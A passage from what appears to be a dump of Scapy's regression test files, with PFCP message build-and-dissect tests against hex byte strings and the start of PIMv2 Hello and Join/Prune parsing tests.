IE_TimeQuota(quota=60),\n          IE_URR_Id(id=1)\n      ]),\n      IE_FSEID(v4=1, seid=0xffde7210bf97810a, ipv4=\"172.18.1.1\"),\n      IE_NodeId(id_type=\"FQDN\", id=\"ergw\")\n    ])\n\nassert bytes(pfcpSEReq1) == pfcpSEReq1Bytes\nassert bytes(PFCP(pfcpSEReq1Bytes)) == pfcpSEReq1Bytes\n\npfcpSEReq2Bytes = hex_bytes(\"213202ba00000000000000000000080000030037002c000102006c00040000000400040026002a000102001600040373676900260015020012687474703a2f2f6578616d706c652e636f6d0003001e002c000102006c0004000000020004000d002a000102001600040373676900030021002c000102006c00040000000300040010002a000100001600070661636365737300030021002c000102006c00040000000100040010002a00010000160007066163636573730001006d006c0004000000040002004b00160007066163636573730017002e0100002a7065726d6974206f75742069702066726f6d203139382e31392e36352e3420746f2061737369676e65640014000100005d0005020ac00000003800020004001d00040000006400510004000000020001006d006c0004000000020002004b00160007066163636573730017002e0100002a7065726d6974206f75742069702066726f6d203139382e31392e36352e3220746f2061737369676e65640014000100005d0005020ac00000003800020002001d0004000000c800510004000000010001006a006c0004000000030002004800160004037367690017002e0100002a7065726d6974206f75742069702066726f6d203139382e31392e36352e3420746f2061737369676e65640014000102005d0005060ac00000003800020003001d00040000006400510004000000020001006a006c0004000000010002004800160004037367690017002e0100002a7065726d6974206f75742069702066726f6d203139382e31392e36352e3220746f2061737369676e65640014000102005d0005060ac00000003800020001001d0004000000c8005100040000000100060013003e000102002500020000005100040000000200060013003e00010200250002000000510004000000010039000d02ffde7210d971c146ac120101003c0006020465726777\")\n\npfcpSEReq2 = PFCP(seq=8) / PFCPSessionEstablishmentRequest(IE_list=[\n    IE_CreateFAR(IE_list=[\n        IE_ApplyAction(FORW=1),\n        IE_FAR_Id(id=4),\n        IE_ForwardingParameters(IE_list=[\n            IE_DestinationInterface(interface=\"SGi-LAN/N6-LAN\"),\n            IE_NetworkInstance(instance=\"sgi\"),\n            IE_RedirectInformation(type=\"URL\", address=\"http://example.com\"),\n        ])\n    ]),\n    IE_CreateFAR(IE_list=[\n        IE_ApplyAction(FORW=1),\n        IE_FAR_Id(id=2),\n        IE_ForwardingParameters(IE_list=[\n            IE_DestinationInterface(interface=\"SGi-LAN/N6-LAN\"),\n            IE_NetworkInstance(instance=\"sgi\"),\n        ])\n    ]),\n    IE_CreateFAR(IE_list=[\n        IE_ApplyAction(FORW=1),\n        IE_FAR_Id(id=3),\n        IE_ForwardingParameters(IE_list=[\n            IE_DestinationInterface(interface=\"Access\"),\n            IE_NetworkInstance(instance=\"access\")\n        ])\n    ]),\n    IE_CreateFAR(IE_list=[\n        IE_ApplyAction(FORW=1),\n        IE_FAR_Id(id=1),\n        IE_ForwardingParameters(IE_list=[\n            IE_DestinationInterface(interface=\"Access\"),\n            IE_NetworkInstance(instance=\"access\")\n        ])\n    ]),\n    IE_CreatePDR(IE_list=[\n        IE_FAR_Id(id=4),\n        IE_PDI(IE_list=[\n            IE_NetworkInstance(instance=\"access\"),\n            IE_SDF_Filter(\n                FD=1, flow_description=\"permit out ip from 198.19.65.4 to assigned\"),\n            IE_SourceInterface(interface=\"Access\"),\n            IE_UE_IP_Address(ipv4=\"10.192.0.0\", V4=1)\n        ]),\n        IE_PDR_Id(id=4),\n        IE_Precedence(precedence=100),\n        IE_URR_Id(id=2)\n    ]),\n    IE_CreatePDR(IE_list=[\n        IE_FAR_Id(id=2),\n        IE_PDI(IE_list=[\n            IE_NetworkInstance(instance=\"access\"),\n            IE_SDF_Filter(FD=1, flow_description=\"permit out ip from 198.19.65.2 to assigned\"),\n            IE_SourceInterface(interface=\"Access\"),\n            IE_UE_IP_Address(ipv4=\"10.192.0.0\", V4=1)\n        ]),\n        IE_PDR_Id(id=2),\n        IE_Precedence(precedence=200),\n        IE_URR_Id(id=1)\n    ]),\n    IE_CreatePDR(IE_list=[\n        IE_FAR_Id(id=3),\n        IE_PDI(IE_list=[\n            IE_NetworkInstance(instance=\"sgi\"),\n            IE_SDF_Filter(FD=1, flow_description=\"permit out ip from 198.19.65.4 to assigned\"),\n            IE_SourceInterface(interface=\"SGi-LAN/N6-LAN\"),\n            IE_UE_IP_Address(ipv4=\"10.192.0.0\", SD=1, V4=1)\n        ]),\n        IE_PDR_Id(id=3),\n        IE_Precedence(precedence=100),\n        IE_URR_Id(id=2)\n    ]),\n    IE_CreatePDR(IE_list=[\n        IE_FAR_Id(id=1),\n        IE_PDI(IE_list=[\n            IE_NetworkInstance(instance=\"sgi\"),\n            IE_SDF_Filter(FD=1, flow_description=\"permit out ip from 198.19.65.2 to assigned\"),\n            IE_SourceInterface(interface=\"SGi-LAN/N6-LAN\"),\n            IE_UE_IP_Address(ipv4=\"10.192.0.0\", SD=1, V4=1)\n        ]),\n        IE_PDR_Id(id=1),\n        IE_Precedence(precedence=200),\n        IE_URR_Id(id=1)\n    ]),\n    IE_CreateURR(IE_list=[\n        IE_MeasurementMethod(VOLUM=1),\n        IE_ReportingTriggers(),\n        IE_URR_Id(id=2)\n    ]),\n    IE_CreateURR(IE_list=[\n        IE_MeasurementMethod(VOLUM=1),\n        IE_ReportingTriggers(),\n        IE_URR_Id(id=1)\n    ]),\n    IE_FSEID(ipv4=\"172.18.1.1\", v4=1, seid=0xffde7210d971c146),\n    IE_NodeId(id_type=\"FQDN\", id=\"ergw\")])\n\nassert bytes(pfcpSEReq2) == pfcpSEReq2Bytes\nassert bytes(PFCP(pfcpSEReq2Bytes)) == pfcpSEReq2Bytes\n\npfcpSEReq3Bytes = hex_bytes(\"213203a10000000000000000000003000003001e002c000102006c0004000000060004000d002a000102001600040373676900030037002c000102006c00040000000400040026002a000102001600040373676900260015020012687474703a2f2f6578616d706c652e636f6d0003001e002c000102006c0004000000020004000d002a000102001600040373676900030021002c000102006c00040000000500040010002a000100001600070661636365737300030021002c000102006c00040000000300040010002a000100001600070661636365737300030021002c000102006c00040000000100040010002a000100001600070661636365737300010042006c000400000006000200200018000354535400160007066163636573730014000100005d0005020ac00000003800020006001d00040000009600510004000000030001006d006c0004000000040002004b00160007066163636573730017002e0100002a7065726d6974206f75742069702066726f6d203139382e31392e36352e3420746f2061737369676e65640014000100005d0005020ac00000003800020004001d00040000006400510004000000020001006d006c0004000000020002004b00160007066163636573730017002e0100002a7065726d6974206f75742069702066726f6d203139382e31392e36352e3220746f2061737369676e65640014000100005d0005020ac00000003800020002001d0004000000c800510004000000010001003f006c0004000000050002001d0018000354535400160004037367690014000102005d0005060ac00000003800020005001d00040000009600510004000000030001006a006c0004000000030002004800160004037367690017002e0100002a7065726d6974206f75742069702066726f6d203139382e31392e36352e3420746f2061737369676e65640014000102005d0005060ac00000003800020003001d00040000006400510004000000020001006a006c0004000000010002004800160004037367690017002e0100002a7065726d6974206f75742069702066726f6d203139382e31392e36352e3220746f2061737369676e65640014000102005d0005060ac00000003800020001001d0004000000c8005100040000000100060013003e000102002500020000005100040000000200060013003e000103002500020000005100040000000300060013003e00010200250002000000510004000000010039000d02ffde7211a5ab800aac120101003c0006020465726777\")\n\npfcpSEReq3 = PFCP(seq=3) / \\\n  PFCPSessionEstablishmentRequest(IE_list=[\n      IE_CreateFAR(IE_list=[\n          IE_ApplyAction(FORW=1),\n          IE_FAR_Id(id=6),\n          IE_ForwardingParameters(IE_list=[\n              IE_DestinationInterface(interface=\"SGi-LAN/N6-LAN\"),\n              IE_NetworkInstance(instance=\"sgi\")\n          ])\n      ]),\n      IE_CreateFAR(IE_list=[\n          IE_ApplyAction(FORW=1),\n          IE_FAR_Id(id=4),\n          IE_ForwardingParameters(IE_list=[\n              IE_DestinationInterface(interface=\"SGi-LAN/N6-LAN\"),\n              IE_NetworkInstance(instance=\"sgi\"),\n              IE_RedirectInformation(type=\"URL\", address=\"http://example.com\")\n          ])\n      ]),\n      IE_CreateFAR(IE_list=[\n          IE_ApplyAction(FORW=1),\n          IE_FAR_Id(id=2),\n          IE_ForwardingParameters(IE_list=[\n              IE_DestinationInterface(interface=\"SGi-LAN/N6-LAN\"),\n              IE_NetworkInstance(instance=\"sgi\")\n          ])\n      ]),\n      IE_CreateFAR(IE_list=[\n          IE_ApplyAction(FORW=1),\n          IE_FAR_Id(id=5),\n          IE_ForwardingParameters(IE_list=[\n              IE_DestinationInterface(interface=\"Access\"),\n              IE_NetworkInstance(instance=\"access\")\n          ])\n      ]),\n      IE_CreateFAR(IE_list=[\n          IE_ApplyAction(FORW=1),\n          IE_FAR_Id(id=3),\n          IE_ForwardingParameters(IE_list=[\n              IE_DestinationInterface(interface=\"Access\"),\n              IE_NetworkInstance(instance=\"access\")\n          ])\n      ]),\n      IE_CreateFAR(IE_list=[\n          IE_ApplyAction(FORW=1),\n          IE_FAR_Id(id=1),\n          IE_ForwardingParameters(IE_list=[\n              IE_DestinationInterface(interface=\"Access\"),\n              IE_NetworkInstance(instance=\"access\")\n          ])\n      ]),\n      IE_CreatePDR(IE_list=[\n          IE_FAR_Id(id=6),\n          IE_PDI(IE_list=[\n              IE_ApplicationId(id=\"TST\"),\n              IE_NetworkInstance(instance=\"access\"),\n              IE_SourceInterface(interface=\"Access\"),\n              IE_UE_IP_Address(ipv4='10.192.0.0', V4=1)\n          ]),\n          IE_PDR_Id(id=6),\n          IE_Precedence(precedence=150),\n          IE_URR_Id(id=3)\n      ]),\n      IE_CreatePDR(IE_list=[\n          IE_FAR_Id(id=4),\n          IE_PDI(IE_list=[\n              IE_NetworkInstance(instance=\"access\"),\n              IE_SDF_Filter(FD=1, flow_description=\"permit out ip from 198.19.65.4 to assigned\"),\n              IE_SourceInterface(interface=\"Access\"),\n              IE_UE_IP_Address(ipv4='10.192.0.0', V4=1)\n          ]),\n          IE_PDR_Id(id=4),\n          IE_Precedence(precedence=100),\n          IE_URR_Id(id=2)\n      ]),\n      IE_CreatePDR(IE_list=[\n          IE_FAR_Id(id=2),\n          IE_PDI(IE_list=[\n              IE_NetworkInstance(instance=\"access\"),\n              IE_SDF_Filter(FD=1, flow_description=\"permit out ip from 198.19.65.2 to assigned\"),\n              IE_SourceInterface(interface=\"Access\"),\n              IE_UE_IP_Address(ipv4='10.192.0.0', V4=1)\n          ]),\n          IE_PDR_Id(id=2),\n          IE_Precedence(precedence=200),\n          IE_URR_Id(id=1)\n      ]),\n      IE_CreatePDR(IE_list=[\n          IE_FAR_Id(id=5),\n          IE_PDI(IE_list=[\n              IE_ApplicationId(id=\"TST\"),\n              IE_NetworkInstance(instance=\"sgi\"),\n              IE_SourceInterface(interface=\"SGi-LAN/N6-LAN\"),\n              IE_UE_IP_Address(ipv4='10.192.0.0', SD=1, V4=1)\n          ]),\n          IE_PDR_Id(id=5),\n          IE_Precedence(precedence=150),\n          IE_URR_Id(id=3)\n      ]),\n      IE_CreatePDR(IE_list=[\n          IE_FAR_Id(id=3),\n          IE_PDI(IE_list=[\n              IE_NetworkInstance(instance=\"sgi\"),\n              IE_SDF_Filter(FD=1, flow_description=\"permit out ip from 198.19.65.4 to assigned\"),\n              IE_SourceInterface(interface=\"SGi-LAN/N6-LAN\"),\n              IE_UE_IP_Address(ipv4='10.192.0.0', SD=1, V4=1)\n          ]),\n          IE_PDR_Id(id=3),\n          IE_Precedence(precedence=100),\n          IE_URR_Id(id=2)\n      ]),\n      IE_CreatePDR(IE_list=[\n          IE_FAR_Id(id=1),\n          IE_PDI(IE_list=[\n              IE_NetworkInstance(instance=\"sgi\"),\n              IE_SDF_Filter(FD=1, flow_description=\"permit out ip from 198.19.65.2 to assigned\"),\n              IE_SourceInterface(interface=\"SGi-LAN/N6-LAN\"),\n              IE_UE_IP_Address(ipv4='10.192.0.0', SD=1, V4=1)\n          ]),\n          IE_PDR_Id(id=1),\n          IE_Precedence(precedence=200),\n          IE_URR_Id(id=1)\n      ]),\n      IE_CreateURR(IE_list=[\n          IE_MeasurementMethod(VOLUM=1),\n          IE_ReportingTriggers(),\n          IE_URR_Id(id=2)\n      ]),\n      IE_CreateURR(IE_list=[\n          IE_MeasurementMethod(VOLUM=1, DURAT=1),\n          IE_ReportingTriggers(),\n          IE_URR_Id(id=3)\n      ]),\n      IE_CreateURR(IE_list=[\n          IE_MeasurementMethod(VOLUM=1),\n          IE_ReportingTriggers(),\n          IE_URR_Id(id=1)\n      ]),\n      IE_FSEID(ipv4='172.18.1.1', v4=1, seid=0xffde7211a5ab800a),\n      IE_NodeId(id_type=\"FQDN\", id=\"ergw\")\n  ])\n\nassert bytes(pfcpSEReq3) == pfcpSEReq3Bytes\nassert bytes(PFCP(pfcpSEReq3Bytes)) == pfcpSEReq3Bytes\n\n= Build and dissect PFCP Session Establishment Response\n\npfcpSERespBytes = hex_bytes(\"21330022ffde7210bf97810a0000020000130001010039000d02ffde7210bf97810aac120102\")\n\npfcpSEResp = PFCP(version=1, S=1, seq=2, seid=0xffde7210bf97810a) / \\\n  PFCPSessionEstablishmentResponse(IE_list=[\n      IE_Cause(cause=\"Request accepted\"),\n      IE_FSEID(ipv4=\"172.18.1.2\", v4=1, seid=0xffde7210bf97810a),\n  ])\n\nassert bytes(pfcpSEResp) == pfcpSERespBytes\nassert bytes(PFCP(pfcpSERespBytes)) == pfcpSERespBytes\nassert pfcpSEResp.answers(pfcpSEReq1)\n\n= Build and dissect PFCP Heartbeat Request\n\npfcpHReqBytes = hex_bytes(\"2001000c0000030000600004e1a47d08\")\n\npfcpHReq = PFCP(version=1, S=0, seq=3) / \\\n  PFCPHeartbeatRequest(IE_list=[\n      IE_RecoveryTimeStamp(timestamp=3785653512)\n  ])\n\nassert bytes(pfcpHReq) == pfcpHReqBytes\nassert bytes(PFCP(pfcpHReqBytes)) == pfcpHReqBytes\n\n# = Build and dissect PFCP Heartbeat Response\n\npfcpHRespBytes = hex_bytes(\"2002000c0000030000600004e1a47af9\")\n\npfcpHResp = PFCP(version=1, S=0, seq=3) / \\\n  PFCPHeartbeatResponse(IE_list=[\n      IE_RecoveryTimeStamp(timestamp=3785652985)\n  ])\n\nassert bytes(pfcpHResp) == pfcpHRespBytes\nassert bytes(PFCP(pfcpHRespBytes)) == pfcpHRespBytes\nassert pfcpHResp.answers(pfcpHReq)\n\n# = Build and dissect PFCP Session Report Request\n\npfcpSRReq1Bytes = hex_bytes(\"21380034ffde7210bf99c00300006b0000270001020050001f00510004000000010068000400000001003f00021000005d0005020ac00001\")\n\npfcpSRReq1 = PFCP(seq=107, version=1, S=1, seid=18437299340760956931) / \\\n  PFCPSessionReportRequest(IE_list=[\n      IE_ReportType(USAR=1),\n      IE_UsageReport_SRR(IE_list=[\n          IE_URR_Id(id=1),\n          IE_UR_SEQN(number=1),\n          IE_UsageReportTrigger(START=1),\n          IE_UE_IP_Address(ipv4=\"10.192.0.1\", V4=1)\n      ])\n  ])\n\nassert bytes(pfcpSRReq1) == pfcpSRReq1Bytes\nassert bytes(PFCP(pfcpSRReq1Bytes)) == pfcpSRReq1Bytes\n\npfcpSRReq2Bytes = hex_bytes(\"2138008a0ffde7210bf940000000310000270001020050007500510004000000030068000400000018003f00020100004b0004e1b44787004c0004e1b447910042001907000000000000000000000000000000000000000000000000004300040000000a8003000a48f9e1b4479137cbd8008004000a48f9e1b4478737cbd8008005000a48f9e1b4479137cbd800\")\n\npfcpSRReq2 = PFCP(seq=49, seid=1152331208797536256) / \\\n  PFCPSessionReportRequest(IE_list=[\n      IE_ReportType(USAR=1),\n      IE_UsageReport_SRR(IE_list=[\n          IE_URR_Id(id=3),\n          IE_UR_SEQN(number=24),\n          IE_UsageReportTrigger(PERIO=1),\n          IE_StartTime(timestamp=3786688391),\n          IE_EndTime(timestamp=3786688401),\n          IE_VolumeMeasurement(\n              DLVOL=1, ULVOL=1, TOVOL=1, total=0, uplink=0, downlink=0),\n          IE_DurationMeasurement(duration=10),\n          IE_EnterpriseSpecific(\n              ietype=32771,\n              enterprise_id=18681,\n              data=b'\\xe1\\xb4G\\x917\\xcb\\xd8\\x00'),\n          IE_EnterpriseSpecific(\n              ietype=32772,\n              enterprise_id=18681,\n              data=b'\\xe1\\xb4G\\x877\\xcb\\xd8\\x00'),\n          IE_EnterpriseSpecific(\n              ietype=32773,\n              enterprise_id=18681,\n              data=b'\\xe1\\xb4G\\x917\\xcb\\xd8\\x00')\n      ])\n  ])\n\nassert bytes(pfcpSRReq2) == pfcpSRReq2Bytes\nassert bytes(PFCP(pfcpSRReq2Bytes)) == pfcpSRReq2Bytes\n\npfcpSRReq3Bytes = hex_bytes(\"21380035a2a2aa9ad7f316fd0000010000270001020050002000510004000000010068000400000000003f0003100000005d000502ac100202\")\n\npfcpSRReq3 = PFCP(seq=1, seid=11719116762396169981) / \\\n    PFCPSessionReportRequest(IE_list=[\n        IE_ReportType(USAR=1),\n        IE_UsageReport_SRR(IE_list=[\n            IE_URR_Id(id=1),\n            IE_UR_SEQN(number=0),\n            IE_UsageReportTrigger(START=1, extra_data=b'\\x00'),\n            IE_UE_IP_Address(ipv4='172.16.2.2', V4=1)\n        ])\n    ])\n\nassert bytes(pfcpSRReq3) == pfcpSRReq3Bytes\nassert bytes(PFCP(pfcpSRReq3Bytes)) == pfcpSRReq3Bytes\n\n= Build and dissect PFCP Session Report Response\n\npfcpSRRespBytes = hex_bytes(\"21390011ffde7210bf99c00300006b000013000101\")\n\npfcpSRResp = PFCP(version=1, S=1, seq=107, seid=0xffde7210bf99c003) / \\\n  PFCPSessionReportResponse(IE_list=[\n      IE_Cause(cause=\"Request accepted\")\n  ])\n\nassert bytes(pfcpSRResp) == pfcpSRRespBytes\nassert bytes(PFCP(pfcpSRRespBytes)) == pfcpSRRespBytes\nassert pfcpSRResp.answers(pfcpSRReq1)\n\n= Build and dissect PFCP Session Modification Request\n\npfcpSMReqBytes = hex_bytes(\"21340018ffde72125aeb00a300000600004d00080051000400000001\")\npfcpSMReq = PFCP(pfcpSMReqBytes)\n\npfcpSMReq = PFCP(version=1, seq=6, seid=0xffde72125aeb00a3) / \\\n    PFCPSessionModificationRequest(IE_list=[\n        IE_QueryURR(IE_list=[IE_URR_Id(id=1)])\n    ])\nassert bytes(pfcpSMReq) == pfcpSMReqBytes\nassert bytes(PFCP(pfcpSMReqBytes)) == pfcpSMReqBytes\n\n= Build and dissect PFCP Session Modification Response\n\npfcpSMRespBytes = hex_bytes(\"2135008affde72125aeb00a3000006000013000101004e007500510004000000010068000400000000003f00028000004b0004e16e7efa004c0004e16e7efa004200190700000000000000000000000000000000000000000000000000430004000000008003000a48f9e16e7efa05566c008004000a48f9e16e7efa027f08008005000a48f9e16e7efa027f0800\")\n\npfcpSMResp = PFCP(version=1, seq=6, seid=0xffde72125aeb00a3) / \\\n    PFCPSessionModificationResponse(IE_list=[\n        IE_Cause(cause=1),\n        IE_UsageReport_SMR(IE_list=[\n            IE_URR_Id(id=1),\n            IE_UR_SEQN(number=0),\n            IE_UsageReportTrigger(IMMER=1),\n            IE_StartTime(timestamp=3782115066),\n            IE_EndTime(timestamp=3782115066),\n            IE_VolumeMeasurement(DLVOL=1, ULVOL=1, TOVOL=1),\n            IE_DurationMeasurement(),\n            IE_EnterpriseSpecific(ietype=32771, enterprise_id=18681, data=b'\\xe1n~\\xfa\\x05Vl\\x00'),\n            IE_EnterpriseSpecific(ietype=32772, enterprise_id=18681, data=b'\\xe1n~\\xfa\\x02\\x7f\\x08\\x00'),\n            IE_EnterpriseSpecific(ietype=32773, enterprise_id=18681, data=b'\\xe1n~\\xfa\\x02\\x7f\\x08\\x00')\n        ])\n    ])\n\nassert bytes(pfcpSMResp) == pfcpSMRespBytes\nassert bytes(PFCP(pfcpSMRespBytes)) == pfcpSMRespBytes\nassert pfcpSMResp.answers(pfcpSMReq)\n\n= Verify IEs\n\nfrom difflib import unified_diff\ncases = [\n    dict(\n        hex=\"0054000a0100010000000a177645\",\n        expect=IE_OuterHeaderCreation(GTPUUDPIPV4=1, TEID=0x01000000, ipv4=\"10.23.118.69\")),\n    dict(\n        hex=\"002900050461626364\",\n        expect=IE_ForwardingPolicy(policy_identifier=\"abcd\")),\n    dict(\n        hex=\"002e0001ae\",\n        expect=IE_DownlinkDataNotificationDelay(delay=174)),\n    dict(\n        hex=\"003d00020000\",\n        expect=IE_PFDContents()),\n    dict(\n        hex=\"005e00070300205903e95d\",\n        expect=IE_PacketRate(ULPR=1, DLPR=1,\n                             ul_time_unit=\"minute\", ul_max_packet_rate=8281,\n                             dl_time_unit=\"day\", dl_max_packet_rate=59741)),\n    dict(\n        hex=\"00850007010906638dccd5\",\n        expect=IE_MACAddress(SOUR=1, source_mac=\"09:06:63:8d:cc:d5\")),\n    dict(\n        hex=\"00540014080017d0bd69dceb747a1e036c0f9c8d4af115d0\",\n        expect=IE_OuterHeaderCreation(UDPIPV6=1,\n                                      ipv6=\"17d0:bd69:dceb:747a:1e03:6c0f:9c8d:4af1\",\n                                      port=5584)),\n    dict(\n        hex=\"006700050280df69b2\",\n        expect=IE_RemoteGTP_U_Peer(V4=1, ipv4=\"128.223.105.178\")),\n]\n\nfor case in cases:\n    bs = hex_bytes(case[\"hex\"])\n    exp = case[\"expect\"]\n    dissected = type(exp)(bs)\n    exp_text = exp.show2(dump=True)\n    dissected_text = dissected.show2(dump=True)\n    if exp_text != dissected_text:\n        print(\"---\\n%s\\n---\\n%s\\n\" % (exp_text, dissected_text))\n        for line in unified_diff(exp_text.split(\"\\n\"), dissected_text.split(\"\\n\"),\n                                 fromfile=\"expected\", tofile=\"dissected\"):\n            print(line)\n        raise AssertionError(\"text mismatch\")\n    assert bytes(dissected) == bs\n    assert bytes(exp) == bs\n\n# from difflib import unified_diff\n# expected = PFCP(pfcpSRReq2Bytes).show2(dump=True).split(\"\\n\")\n# actual = pfcpSRReq2.show2(dump=True).split(\"\\n\")\n# for line in unified_diff(expected, actual, fromfile=\"expected\", tofile=\"actual\"):\n#     print(line)\n"
  },
  {
    "path": "test/contrib/pim.uts",
    "content": "# PIM Related regression tests\n# \n# Type the following command to launch start the tests:\n# $ test/run_tests -P \"load_contrib('pim')\" -t test/contrib/pim.uts\n\n+ pim\n\n= PIMv2 Hello - instantiation\n\nhello_data = b'\\x01\\x00^\\x00\\x00\\r\\x00\\xd0\\xcb\\x00\\xba\\xe4\\x08\\x00E\\xc0\\x00BY\\xf9\\x00\\x00\\x01gTe\\x15\\x15\\x15\\x15\\xe0\\x00\\x00\\r \\x00\\xa55\\x00\\x01\\x00\\x02\\x00i\\x00\\x13\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x04\\x01\\xf4\\t\\xc4\\x00\\x14\\x00\\x04\\x00\\x00\\x00\\x00'\n\nhello_pkt = Ether(hello_data)\n\nassert (hello_pkt[PIMv2Hdr].version == 2)\nassert (hello_pkt[PIMv2Hdr].type == 0)\nassert (len(hello_pkt[PIMv2Hello].option) == 4)\nassert (hello_pkt[PIMv2Hello].option[0][PIMv2HelloHoldtime].type == 1)\nassert (hello_pkt[PIMv2Hello].option[0][PIMv2HelloHoldtime].holdtime == 105)\nassert (hello_pkt[PIMv2Hello].option[1][PIMv2HelloDRPriority].type == 19)\nassert (hello_pkt[PIMv2Hello].option[1][PIMv2HelloDRPriority].dr_priority == 0)\nassert (hello_pkt[PIMv2Hello].option[2][PIMv2HelloLANPruneDelay].type == 2)\nassert (hello_pkt[PIMv2Hello].option[2][PIMv2HelloLANPruneDelay].value[0][PIMv2HelloLANPruneDelayValue].t == 0)\nassert (hello_pkt[PIMv2Hello].option[2][PIMv2HelloLANPruneDelay].value[0][PIMv2HelloLANPruneDelayValue].propagation_delay == 500)\nassert (hello_pkt[PIMv2Hello].option[2][PIMv2HelloLANPruneDelay].value[0][PIMv2HelloLANPruneDelayValue].override_interval == 2500)\nassert (hello_pkt[PIMv2Hello].option[3][PIMv2HelloGenerationID].type == 20)\n\nrepr(PIMv2HelloLANPruneDelayValue(t=1))\n\n= PIMv2 Join/Prune - instantiation\n\njp_data = b'\\x01\\x00^\\x00\\x00\\r\\x00\\xd0\\xcb\\x00\\xba\\xe4\\x08\\x00E\\xc0\\x00rY\\xfb\\x00\\x00\\x01gT3\\x15\\x15\\x15\\x15\\xe0\\x00\\x00\\r#\\x00\\x1b\\x18\\x01\\x00\\x15\\x15\\x15\\x16\\x00\\x04\\x00\\xd2\\x01\\x00\\x00 \\xef\\x01\\x01\\x0b\\x00\\x01\\x00\\x00\\x01\\x00\\x07 \\x16\\x16\\x16\\x15\\x01\\x00\\x00 \\xef\\x01\\x01\\x0c\\x00\\x01\\x00\\x00\\x01\\x00\\x07 \\x16\\x16\\x16\\x15\\x01\\x00\\x00 \\xef\\x01\\x01\\x0b\\x00\\x00\\x00\\x01\\x01\\x00\\x07 \\x16\\x16\\x16\\x15\\x01\\x00\\x00 \\xef\\x01\\x01\\x0c\\x00\\x00\\x00\\x01\\x01\\x00\\x07 \\x16\\x16\\x16\\x15'\n\njp_pkt = Ether(jp_data)\n\nassert (jp_pkt[PIMv2Hdr].version == 2)\nassert (jp_pkt[PIMv2Hdr].type == 3)\nassert (jp_pkt[PIMv2JoinPrune].up_addr_family == 1)\nassert (jp_pkt[PIMv2JoinPrune].up_encoding_type == 0)\nassert (jp_pkt[PIMv2JoinPrune].up_neighbor_ip == \"21.21.21.22\")\nassert (jp_pkt[PIMv2JoinPrune].reserved == 0)\nassert (jp_pkt[PIMv2JoinPrune].num_group == 4)\nassert (jp_pkt[PIMv2JoinPrune].holdtime == 210)\nassert (jp_pkt[PIMv2JoinPrune].num_group == len(jp_pkt[PIMv2JoinPrune].jp_ips))\nassert (jp_pkt[PIMv2JoinPrune].jp_ips[0].addr_family == 1)\nassert (jp_pkt[PIMv2JoinPrune].jp_ips[0].encoding_type == 0)\nassert (jp_pkt[PIMv2JoinPrune].jp_ips[0].bidirection == 0)\nassert (jp_pkt[PIMv2JoinPrune].jp_ips[0].reserved == 0)\nassert (jp_pkt[PIMv2JoinPrune].jp_ips[0].admin_scope_zone == 0)\nassert (jp_pkt[PIMv2JoinPrune].jp_ips[0].mask_len == 32)\nassert (jp_pkt[PIMv2JoinPrune].jp_ips[0].gaddr == \"239.1.1.11\")\nassert (jp_pkt[PIMv2JoinPrune].jp_ips[0].num_joins == 1)\nassert (jp_pkt[PIMv2JoinPrune].jp_ips[0].num_joins == len(jp_pkt[PIMv2JoinPrune].jp_ips[0].join_ips))\nassert (jp_pkt[PIMv2JoinPrune].jp_ips[0].join_ips[0][PIMv2JoinAddrs].addr_family == 1)\nassert (jp_pkt[PIMv2JoinPrune].jp_ips[0].join_ips[0][PIMv2JoinAddrs].encoding_type == 0)\nassert (jp_pkt[PIMv2JoinPrune].jp_ips[0].join_ips[0][PIMv2JoinAddrs].rsrvd == 0)\nassert (jp_pkt[PIMv2JoinPrune].jp_ips[0].join_ips[0][PIMv2JoinAddrs].sparse == 1)\nassert (jp_pkt[PIMv2JoinPrune].jp_ips[0].join_ips[0][PIMv2JoinAddrs].wildcard == 1)\nassert (jp_pkt[PIMv2JoinPrune].jp_ips[0].join_ips[0][PIMv2JoinAddrs].rpt == 1)\nassert (jp_pkt[PIMv2JoinPrune].jp_ips[0].join_ips[0][PIMv2JoinAddrs].mask_len == 32)\nassert (jp_pkt[PIMv2JoinPrune].jp_ips[0].join_ips[0][PIMv2JoinAddrs].src_ip == \"22.22.22.21\")\nassert (jp_pkt[PIMv2JoinPrune].jp_ips[0].num_prunes == 0)\nassert (jp_pkt[PIMv2JoinPrune].jp_ips[0].num_prunes == len(jp_pkt[PIMv2JoinPrune].jp_ips[0].prune_ips))\nassert (jp_pkt[PIMv2JoinPrune].jp_ips[2].addr_family == 1)\nassert (jp_pkt[PIMv2JoinPrune].jp_ips[2].encoding_type == 0)\nassert (jp_pkt[PIMv2JoinPrune].jp_ips[2].bidirection == 0)\nassert (jp_pkt[PIMv2JoinPrune].jp_ips[2].reserved == 0)\nassert (jp_pkt[PIMv2JoinPrune].jp_ips[2].admin_scope_zone == 0)\nassert (jp_pkt[PIMv2JoinPrune].jp_ips[2].mask_len == 32)\nassert (jp_pkt[PIMv2JoinPrune].jp_ips[2].gaddr == \"239.1.1.11\")\nassert (jp_pkt[PIMv2JoinPrune].jp_ips[2].num_joins == 0)\nassert (jp_pkt[PIMv2JoinPrune].jp_ips[2].num_joins == len(jp_pkt[PIMv2JoinPrune].jp_ips[2].join_ips))\nassert (jp_pkt[PIMv2JoinPrune].jp_ips[2].num_prunes == 1)\nassert (jp_pkt[PIMv2JoinPrune].jp_ips[2].num_prunes == len(jp_pkt[PIMv2JoinPrune].jp_ips[2].prune_ips))\nassert (jp_pkt[PIMv2JoinPrune].jp_ips[2].prune_ips[0][PIMv2PruneAddrs].addr_family == 1)\nassert (jp_pkt[PIMv2JoinPrune].jp_ips[2].prune_ips[0][PIMv2PruneAddrs].encoding_type == 0)\nassert (jp_pkt[PIMv2JoinPrune].jp_ips[2].prune_ips[0][PIMv2PruneAddrs].rsrvd == 0)\nassert (jp_pkt[PIMv2JoinPrune].jp_ips[2].prune_ips[0][PIMv2PruneAddrs].sparse == 1)\nassert (jp_pkt[PIMv2JoinPrune].jp_ips[2].prune_ips[0][PIMv2PruneAddrs].wildcard == 1)\nassert (jp_pkt[PIMv2JoinPrune].jp_ips[2].prune_ips[0][PIMv2PruneAddrs].rpt == 1)\nassert (jp_pkt[PIMv2JoinPrune].jp_ips[2].prune_ips[0][PIMv2PruneAddrs].mask_len == 32)\nassert (jp_pkt[PIMv2JoinPrune].jp_ips[2].prune_ips[0][PIMv2PruneAddrs].src_ip == \"22.22.22.21\")\n\n= PIMv2 Hello - build\n\nhello_delay_pkt = Ether(dst=\"01:00:5e:00:00:0d\", src=\"00:d0:cb:00:ba:e4\")/IP(version=4, ihl=5, tos=0xc0, id=23037, ttl=1, proto=103, src=\"21.21.21.21\", 